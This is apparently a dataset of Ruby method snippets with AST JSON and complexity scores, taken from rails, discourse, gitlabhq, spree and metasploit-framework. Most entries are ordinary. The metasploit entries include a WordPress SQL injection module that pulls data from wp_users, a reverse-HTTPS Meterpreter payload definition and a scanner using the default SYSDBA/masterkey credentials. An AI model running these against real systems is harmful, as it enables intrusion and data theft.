inding\"]}]}]}]}]}","id":"d794e1da-578f-484e-b757-4ef1ff95c50f"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/core.rb","start_line":551,"raw_source":"def initialize_dup(other) # :nodoc:\n      @attributes = init_attributes(other)\n\n      _run_initialize_callbacks\n\n      @new_record               = true\n      @previously_new_record    = false\n      @destroyed                = false\n      @_start_transaction_state = nil\n\n      super\n    end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize_dup\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"other\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@attributes\",{\"type\":\"send\",\"children\":[null,\"init_attributes\",{\"type\":\"lvar\",\"children\":[\"other\"]}]}]},{\"type\":\"send\",\"children\":[null,\"_run_initialize_callbacks\"]},{\"type\":\"ivasgn\",\"children\":[\"@new_record\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@previously_new_record\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@destroyed\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@_start_transaction_state\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"cb51a550-20bc-45bb-8db6-50073146cffb"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/groups_controller.rb","start_line":539,"raw_source":"def messageable\n    group = find_group(:name, ensure_can_see: false)\n\n    if group\n      render json: { messageable: guardian.can_send_private_message?(group) }\n    else\n      raise Discourse::InvalidAccess.new\n    end\n  end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"messageable\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"group\",{\"type\":\"send\",\"children\":[null,\"find_group\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ensure_can_see\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"messageable\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"guardian\"]},\"can_send_private_message?\",{\"type\":\"lvar\",\"children\":[\"group\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"InvalidAccess\"]},\"new\"]}]}]}]}]}","id":"1ed1513e-cc52-447f-8311-84a0529afe09"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240409070036_sync_index_for_pipelines_unique_id_bigint.rb","start_line":18,"raw_source":"def down\n    remove_concurrent_index_by_name TABLE, INDEX[:name]\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_concurrent_index_by_name\",{\"type\":\"const\",\"children\":[null,\"TABLE\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"INDEX\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}","id":"ac51a97e-939c-4862-b760-c08cded10ca4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/modules/external/bridge.rb","start_line":44,"raw_source":"def initialize(module_path, framework: nil)\n        self.env = {}\n        self.running = false\n        self.path = module_path\n        self.cmd = [[self.path, self.path]]\n        self.messages = Queue.new\n        self.buf = ''\n        self.framework = framework\n      end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"module_path\"]},{\"type\":\"kwoptarg\",\"children\":[\"framework\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"env=\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"running=\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"path=\",{\"type\":\"lvar\",\"children\":[\"module_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"cmd=\",{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"path\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"messages=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Queue\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"buf=\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"framework=\",{\"type\":\"lvar\",\"children\":[\"framework\"]}]}]}]}","id":"9c574a7a-8476-4fc0-9e10-51269b5a4cc8"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb","start_line":15,"raw_source":"def initialize(info = {})\n    super(\n      merge_info(\n        info,\n        'Name' => 'Windows Meterpreter Shell, Reverse HTTPS Inline (x64)',\n        'Description' => 'Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.',\n        'Author' => [ 'OJ Reeves' ],\n        'License' => MSF_LICENSE,\n        'Platform' => 'win',\n        'Arch' => ARCH_X64,\n        'Handler' => Msf::Handler::ReverseHttps,\n        'Session' => Msf::Sessions::Meterpreter_x64_Win\n      )\n    )\n\n    register_options([\n      OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']),\n      OptString.new('EXTINIT', [false, 'Initialization strings for extensions'])\n    ])\n\n    register_advanced_options(\n      Msf::Opt.http_header_options +\n      Msf::Opt.http_proxy_options\n    )\n  end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Windows Meterpreter Shell, Reverse HTTPS Inline (x64)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OJ Reeves\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Handler\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Handler\"]},\"ReverseHttps\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Session\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Sessions\"]},\"Meterpreter_x64_Win\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"EXTENSIONS\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Comma-separate list of extensions to load\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"EXTINIT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Initialization strings for extensions\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_advanced_options\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Opt\"]},\"http_header_options\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Opt\"]},\"http_proxy_options\"]}]}]}]}]}","id":"62f3408a-b632-4f62-a34b-cb58c158a1fa"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/error_tracking/project_error_tracking_setting.rb","start_line":137,"raw_source":"def issue_latest_event(opts = {})\n      with_reactive_cache('issue_latest_event', opts.stringify_keys) do |result|\n        ensure_issue_belongs_to_project!(result[:latest_event].project_id) if result[:latest_event]\n        result\n      end\n    end","complexity_score":11.1,"ast_json":"{\"type\":\"def\",\"children\":[\"issue_latest_event\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_reactive_cache\",{\"type\":\"str\",\"children\":[\"issue_latest_event\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"stringify_keys\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"latest_event\"]}]},{\"type\":\"send\",\"children\":[null,\"ensure_issue_belongs_to_project!\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"latest_event\"]}]},\"project_id\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}","id":"c3eb2a3a-cea2-4eae-a7cd-d90e9865a9b6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/packages/go/module.rb","start_line":57,"raw_source":"def version_by_name(name)\n        # avoid a Gitaly call if possible\n        if strong_memoized?(:versions)\n          v = versions.find { |v| v.name == ref }\n          return v if v\n        end\n\n        ref = @project.repository.find_tag(name) || @project.repository.find_branch(name)\n        return unless ref\n\n        version_by_ref(ref)\n      end","complexity_score":21.3,"ast_json":"{\"type\":\"def\",\"children\":[\"version_by_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoized?\",{\"type\":\"sym\",\"children\":[\"versions\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"v\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"versions\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"name\"]},\"==\",{\"type\":\"send\",\"children\":[null,\"ref\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]}]},null]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"ref\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"repository\"]},\"find_tag\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"repository\"]},\"find_branch\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"version_by_ref\",{\"type\":\"lvar\",\"children\":[\"ref\"]}]}]}]}","id":"52833478-2ae5-449b-920f-7807eee3182c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/misc/ib_service_mgr_info.rb","start_line":37,"raw_source":"def spb_create\n    isc_dpb_user_name = 28\n    isc_dpb_password = 29\n\n    isc_spb_user_name = isc_dpb_user_name\n    isc_spb_password = isc_dpb_password\n\n    isc_spb_current_version = 2\n    isc_spb_version = isc_spb_current_version\n\n    user = 'SYSDBA'\n    pass = 'masterkey'\n\n    spb = ''\n\n    spb << [isc_spb_version].pack('c')\n    spb << [isc_spb_current_version].pack('c')\n\n    spb << [isc_spb_user_name].pack('c')\n    spb << [user.length].pack('c')\n    spb << user\n\n    spb << [isc_spb_password].pack('c')\n    spb << [pass.length].pack('c')\n    spb << pass\n\n    spb\n  end","complexity_score":27.75,"ast_json":"{\"type\":\"def\",\"children\":[\"spb_create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"isc_dpb_user_name\",{\"type\":\"int\",\"children\":[28]}]},{\"type\":\"lvasgn\",\"children\":[\"isc_dpb_password\",{\"type\":\"int\",\"children\":[29]}]},{\"type\":\"lvasgn\",\"children\":[\"isc_spb_user_name\",{\"type\":\"lvar\",\"children\":[\"isc_dpb_user_name\"]}]},{\"type\":\"lvasgn\",\"children\":[\"isc_spb_password\",{\"type\":\"lvar\",\"children\":[\"isc_dpb_password\"]}]},{\"type\":\"lvasgn\",\"children\":[\"isc_spb_current_version\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"lvasgn\",\"children\":[\"isc_spb_version\",{\"type\":\"lvar\",\"children\":[\"isc_spb_current_version\"]}]},{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"str\",\"children\":[\"SYSDBA\"]}]},{\"type\":\"lvasgn\",\"children\":[\"pass\",{\"type\":\"str\",\"children\":[\"masterkey\"]}]},{\"type\":\"lvasgn\",\"children\":[\"spb\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spb\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"isc_spb_version\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"c\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spb\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"isc_spb_current_version\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"c\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spb\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"isc_spb_user_name\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"c\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spb\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"length\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"c\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spb\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spb\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"isc_spb_password\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"c\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spb\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass\"]},\"length\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"c\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spb\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"pass\"]}]},{\"type\":\"lvar\",\"children\":[\"spb\"]}]}]}","id":"2b4e3433-9f17-4671-856a-dc10ed236c01"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/address.rb","start_line":323,"raw_source":"def postal_code_validate\n      return if country.blank? || country_iso.blank? || !require_zipcode? || zipcode.blank?\n      return unless ::ValidatesZipcode::CldrRegexpCollection::ZIPCODES_REGEX.keys.include?(country_iso.upcase.to_sym)\n\n      formatted_zip = ::ValidatesZipcode::Formatter.new(\n        zipcode: zipcode.to_s.strip,\n        country_alpha2: country_iso.upcase\n      ).format\n\n      errors.add(:zipcode, :invalid) unless ::ValidatesZipcode.valid?(formatted_zip, country_iso.upcase)\n    end","complexity_score":40.3,"ast_json":"{\"type\":\"def\",\"children\":[\"postal_code_validate\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"country\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"country_iso\"]},\"blank?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require_zipcode?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"zipcode\"]},\"blank?\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"ValidatesZipcode\"]},\"CldrRegexpCollection\"]},\"ZIPCODES_REGEX\"]},\"keys\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"country_iso\"]},\"upcase\"]},\"to_sym\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"formatted_zip\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"ValidatesZipcode\"]},\"Formatter\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"zipcode\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"zipcode\"]},\"to_s\"]},\"strip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"country_alpha2\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"country_iso\"]},\"upcase\"]}]}]}]},\"format\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"ValidatesZipcode\"]},\"valid?\",{\"type\":\"lvar\",\"children\":[\"formatted_zip\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"country_iso\"]},\"upcase\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"zipcode\"]},{\"type\":\"sym\",\"children\":[\"invalid\"]}]}]}]}]}","id":"0ad10ee4-216d-4f68-bcbf-a37bc23b34a7"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.rb","start_line":49,"raw_source":"def get_sqli_object\n    create_sqli(dbms: MySQLi::Common, opts: { hex_encode_strings: true }) do |payload|\n      endpoint = normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php')\n      sqli_payload = \"1 union select 1,1,char(116,101,120,116),(#{payload}),0,0,0,null,null,null,null,null,null,null,null,null from wp_users\"\n      params = {\n        'action' => 'get_question',\n        'question_id' => sqli_payload\n      }\n\n      # Send HTTP GET request\n      res = send_request_cgi({\n        'uri' => endpoint,\n        'method' => 'GET',\n        'vars_get' => params\n      })\n\n      # Validate response\n      return GET_SQLI_OBJECT_FAILED_ERROR_MSG unless res\n      return GET_SQLI_OBJECT_FAILED_ERROR_MSG unless res.code == 200\n\n      html_content = res.get_json_document['html']\n      fail_with(Failure::Unknown, 'HTML content is empty') unless html_content\n\n      # Extract data from response\n      match_data = /survey_question_p\">([^<]+)/.match(html_content)\n      return GET_SQLI_OBJECT_FAILED_ERROR_MSG unless match_data\n\n      extracted_data = match_data.captures[0]\n      return GET_SQLI_OBJECT_FAILED_ERROR_MSG unless extracted_data\n\n      extracted_data\n    end\n  end","complexity_score":32.45,"ast_json":"{\"type\":\"def\",\"children\":[\"get_sqli_object\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_sqli\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dbms\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MySQLi\"]},\"Common\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"opts\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hex_encode_strings\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"endpoint\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"wp-admin\"]},{\"type\":\"str\",\"children\":[\"admin-ajax.php\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sqli_payload\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"1 union select 1,1,char(116,101,120,116),(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]}]},{\"type\":\"str\",\"children\":[\"),0,0,0,null,null,null,null,null,null,null,null,null from wp_users\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"get_question\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"question_id\"]},{\"type\":\"lvar\",\"children\":[\"sqli_payload\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"endpoint\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GET_SQLI_OBJECT_FAILED_ERROR_MSG\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GET_SQLI_OBJECT_FAILED_ERROR_MSG\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"html_content\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_json_document\"]},\"[]\",{\"type\":\"str\",\"children\":[\"html\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html_content\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"HTML content is empty\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"match_data\",{\"type\":\"send\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"survey_question_p\\\">([^<]+)\"]},{\"type\":\"regopt\",\"children\":[]}]},\"match\",{\"type\":\"lvar\",\"children\":[\"html_content\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match_data\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GET_SQLI_OBJECT_FAILED_ERROR_MSG\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"extracted_data\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match_data\"]},\"captures\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extracted_data\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GET_SQLI_OBJECT_FAILED_ERROR_MSG\"]}]}]},{\"type\":\"lvar\",\"children\":[\"extracted_data\"]}]}]}]}","id":"198ad6ec-455f-43aa-ada8-628e88b1f53a"}
{"repo_name":"spree","file_path":"./repos/spree/api/app/controllers/spree/api/v2/storefront/wishlists_controller.rb","start_line":93,"raw_source":"def remove_item\n            spree_authorize! :destroy, wished_item\n\n            if wished_item.destroy\n              render_serialized_payload { serialize_wished_item(wished_item) }\n            else\n              render_error_payload(resource.errors.full_messages.to_sentence)\n            end\n          end","complexity_score":17.7,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_item\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spree_authorize!\",{\"type\":\"sym\",\"children\":[\"destroy\"]},{\"type\":\"send\",\"children\":[null,\"wished_item\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wished_item\"]},\"destroy\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render_serialized_payload\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"serialize_wished_item\",{\"type\":\"send\",\"children\":[null,\"wished_item\"]}]}]},{\"type\":\"send\",\"children\":[null,\"render_error_payload\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource\"]},\"errors\"]},\"full_messages\"]},\"to_sentence\"]}]}]}]}]}","id":"e5ba4e93-036a-4937-9ba0-980c494fe02c"}
